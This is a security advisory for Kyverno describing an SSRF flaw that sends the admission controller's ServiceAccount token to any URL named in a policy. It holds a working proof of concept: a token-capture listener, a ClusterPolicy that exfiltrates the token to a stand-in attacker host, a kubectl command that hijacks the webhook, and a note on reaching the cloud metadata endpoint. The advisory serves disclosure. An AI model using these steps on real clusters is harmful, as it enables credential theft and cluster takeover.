GHSA-f9g8-6ppc-pqq4

Summary

Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.

Affected version

Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.

Details

There are two issues that combine into one attack chain.

The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():

req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)

No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.

The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    req.Header.Add("Authorization", "Bearer "+token)
}

The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.

Reproduction

Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install

Step 1: Start an HTTP listener on an attacker machine:

# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "timestamp": str(datetime.datetime.now()),
            "path": self.path,
            "headers": dict(self.headers)
        }, indent=2))
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()

Step 2: Create a ClusterPolicy that calls the attacker server:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: ssrf-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: exfil
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: exfil
      apiCall:
        service:
          url: "http://ATTACKER-IP:9999/steal"
        method: GET
        jmesPath: "@"
    validate:
      message: "check"
      deny:
        conditions:
          any:
          - key: "{{ exfil }}"
            operator: Equals
            value: "NEVER_MATCHES"

Step 3: Create any pod to trigger policy evaluation:

kubectl run test --image=nginx

Step 4: The listener receives the SA token immediately:

Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller

Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.

Step 5: Use the token to hijack webhooks:

# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
  --as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes

# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
  --type='json' \
  -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
  --token="eyJhbG..."

After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.

Verified permissions of stolen token

Tested with the default Helm installation:

| Action | Result | |--------|--------| | List pods (all namespaces) | Allowed | | Read configmaps in kube-system | Allowed | | PATCH MutatingWebhookConfiguration | Allowed | | PATCH ValidatingWebhookConfiguration | Allowed | | Read secrets (cluster-wide) | Denied (per-NS only) |

Impact

An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:

1. Hijack Kyverno's own mutating/validating webhooks
2. Intercept and modify every API request flowing through the cluster
3. Inject malicious containers, escalate privileges, exfiltrate secrets

The token is also sent to internal endpoints — http://169.254.169.254/latest/meta-data/ works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.

RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.